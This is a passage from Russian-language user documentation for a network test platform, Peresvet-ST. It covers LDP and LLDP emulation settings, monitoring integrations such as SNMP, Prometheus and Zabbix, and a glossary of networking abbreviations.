ПолеОписаниеЗначение по умолчанию
Включить LDPВключение/выключение протокола LDPВыкл.
LSR IDИдентификатор LSR-маршрутизатора, например 10.10.10.210.10.10.10
HostnameИмя хостаbngblaster
IPv4 transport addressАдрес транспортного интерфейса IPv4(равен LSR ID)
IPv6 transport addressАдрес транспортного интерфейса IPv6
No IPv4 transportОтключить IPv4 LDP Hello-сообщенияВыкл.
Prefer IPv4 transportПредпочитать IPv4-транспорт при наличии IPv6Выкл.

Таймеры LDP

ПолеОписаниеЗначение по умолчанию
Keepalive time (s)Таймаут keepalive LDP-сессии, в секундах0
Hold time (s)Hold time для LDP Hello, в секундах0
Teardown time (s)Время завершения сессии, в секундах0

Источник префиксов (из IGP)

LDP может автоматически получать префиксы из IGP (протокола внутренней маршрутизации) для построения MPLS LSP.

ПолеОписаниеЗначение
Enable prefix sourceВключить получение префиксов из IGPВкл.
ProtocolПротокол-источник: ISIS или OSPFISIS
ModeРежим выбора префиксов: loopbacks (только loopback-адреса) или allloopbacks
Label baseБазовое значение метки для назначения16000

LLDP

LLDP (Link Layer Discovery Protocol) — протокол канального уровня, описанный в стандарте IEEE 802.1AB. Используется для обмена информацией о сетевых устройствах между непосредственно подключёнными соседями. Пересвет-СТ эмулирует LLDP-агент, который периодически отправляет LLDP-кадры (LLDPDU) на стандартный групповой MAC-адрес 01:80:c2:00:00:0e, позволяя тестируемому оборудованию обнаруживать эмулированное устройство, его идентификаторы и характеристики.

Основные настройки LLDP

ПолеОписаниеЗначение по умолчанию
Включить LLDPВключение/выключение протокола LLDPВыкл.
Chassis ID подтипСпособ идентификации шасси устройства: MAC address, Network address, Interface name, Locally assignedMAC address
Chassis IDИдентификатор шасси. При подтипе «MAC address» — MAC-адрес интерфейса; при подтипе «Locally assigned» — произвольная строка(MAC-адрес интерфейса)
Port ID подтипСпособ идентификации порта: MAC address, Interface name, Locally assignedMAC address
Port IDИдентификатор порта. При подтипе «MAC address» — MAC-адрес интерфейса; при подтипе «Interface name» — имя интерфейса(MAC-адрес интерфейса)
System NameИмя системы, передаваемое в TLV System Name
System DescriptionОписание системы, передаваемое в TLV System Description
Port DescriptionОписание порта, передаваемое в TLV Port Description

Таймеры LLDP

ПолеОписаниеЗначение по умолчанию
TX Interval (s)Интервал между отправкой LLDP-кадров, в секундах30
TX Hold MultiplierМножитель, определяющий TTL LLDP-кадра по формуле: TTL = TX Interval × TX Hold Multiplier4
TTL (s)Время жизни LLDP-информации на принимающей стороне (вычисляется автоматически из TX Interval и TX Hold Multiplier). По истечении TTL сосед считается недоступным120

Возможности системы (System Capabilities)

Раздел позволяет указать, какие функциональные возможности заявляет эмулируемое устройство в TLV System Capabilities.

ПолеОписаниеЗначение по умолчанию
Supported CapabilitiesСписок поддерживаемых возможностей устройства: Other, Repeater, Bridge, WLAN Access Point, Router, Telephone, DOCSIS Cable Device, Station OnlyRouter
Enabled CapabilitiesСписок активных возможностей устройства (подмножество поддерживаемых)Router

Management Address

Настройка адреса управления, передаваемого в TLV Management Address. Позволяет тестируемому устройству определить IP-адрес для управления эмулированным соседом.

ПолеОписаниеЗначение по умолчанию
Management AddressIP-адрес управления, например 10.10.10.2(IP-адрес интерфейса)
Address SubtypeТип адреса управления: IPv4, IPv6IPv4
Interface SubtypeТип интерфейса: ifIndex, System port numberifIndex
Interface NumberЧисловой идентификатор интерфейса0

BFD

BFD (Bidirectional Forwarding Detection) настраивается в разделе Control Plane страницы задачи. Протокол обеспечивает быстрое обнаружение отказов на канальном уровне между соседними устройствами и может использоваться совместно с протоколами маршрутизации (BGP, OSPF, IS-IS) для ускорения переключения на резервные маршруты.

L2TP

L2TP (Layer 2 Tunneling Protocol) настраивается в разделе Data Plane страницы задачи. Позволяет генерировать и обрабатывать трафик внутри L2TP-туннелей, что даёт возможность тестировать оборудование и сервисы, использующие L2TP для организации VPN-соединений.

Интеграция с внешними системами мониторинга

Пересвет-СТ поддерживает интеграцию с распространёнными системами мониторинга, что позволяет встроить платформу в существующую инфраструктуру наблюдения и оперативно отслеживать ход тестирования.

SNMP

SNMP-агент устанавливается на машину с агентом Пересвет-СТ в соответствии с официальной инструкцией по установке Net-SNMP. После установки внешние системы управления сетью (NMS) смогут опрашивать состояние агента, получая информацию о текущей нагрузке, статусе задач и доступности компонентов.

Syslog

Syslog настраивается на ОС агента Пересвет-СТ средствами системного логирования (rsyslog, syslog-ng) в соответствии с документацией используемого дистрибутива. После настройки пересылки на внешний syslog-сервер все события и диагностические сообщения агента будут централизованно собираться в единое хранилище для анализа и аудита.

Prometheus

Prometheus может быть установлен на любую ОС, на которой работает агент Пересвет-СТ, в соответствии с официальной инструкцией по установке. После установки Prometheus будет собирать метрики работы агента и ядра генерации трафика, которые можно использовать для построения алертов и дашбордов.

Grafana

Пересвет-СТ поставляется с набором готовых дашбордов Grafana, интегрированных в веб-интерфейс контроллера в разделе «Метрики». Эти дашборды можно изменять под свои нужды, а также создавать новые — используя SQL-запросы к ClickHouse на основе уже существующих запросов из наших дашбордов как примера.

Zabbix

Zabbix-агент устанавливается на машину с агентом Пересвет-СТ в соответствии с официальной инструкцией по установке. После установки агент Zabbix начинает работать и передавать данные о состоянии системы на сервер Zabbix, обеспечивая мониторинг в рамках корпоративной инфраструктуры.

Перечень принятых сокращений

HTTP/HTTPSПротокол прикладного уровня передачи данных
IP-адресУникальный адрес, идентифицирующий устройство в интернете или локальной сети
SSLКриптографический протокол
ВМВиртуальная машина
TCPПротоколом транспортного уровня
СУБДСистема управления базой данных
ПОПрограммное обеспечение
BGPBorder Gateway Protocol — протокол граничного шлюза
IS-ISIntermediate System to Intermediate System — протокол маршрутизации
OSPFOpen Shortest Path First — протокол динамической маршрутизации
LDPLabel Distribution Protocol — протокол распределения меток
LLDPLink Layer Discovery Protocol — протокол обнаружения канального уровня
LLDPDULLDP Data Unit — блок данных протокола LLDP
TLVType-Length-Value — формат кодирования данных (тип-длина-значение)
MPLSMultiprotocol Label Switching — многопротокольная коммутация по меткам
LSPLabel Switched Path — путь с коммутацией по меткам
LSRLabel Switching Router — маршрутизатор с коммутацией по меткам
SRSegment Routing — сегментная маршрутизация
SRGBSegment Routing Global Block — глобальный блок меток SR
SIDSegment Identifier — идентификатор сегмента
DRDesignated Router — выделенный маршрутизатор (OSPF)
BDRBackup Designated Router — резервный выделенный маршрутизатор (OSPF)
LSALink State Advertisement — объявление о состоянии канала (OSPF)
LSPLink State PDU — протокольный блок данных о состоянии канала (IS-IS)
CSNPComplete Sequence Number PDU — полный PDU с порядковыми номерами (IS-IS)
PSNPPartial Sequence Number PDU — частичный PDU с порядковыми номерами (IS-IS)
ASAutonomous System — автономная система
EVPNEthernet Virtual Private Network — виртуальная частная сеть Ethernet
VxLANVirtual Extensible LAN — виртуальная расширяемая локальная сеть
VTEPVxLAN Tunnel Endpoint — конечная точка VxLAN-туннеля
VNIVxLAN Network Identifier — идентификатор виртуальной сети VxLAN
ECMPEqual-Cost Multi-Path — маршрутизация по нескольким равноценным путям
MRTMulti-threaded Routing Toolkit — формат файлов для хранения топологии маршрутизации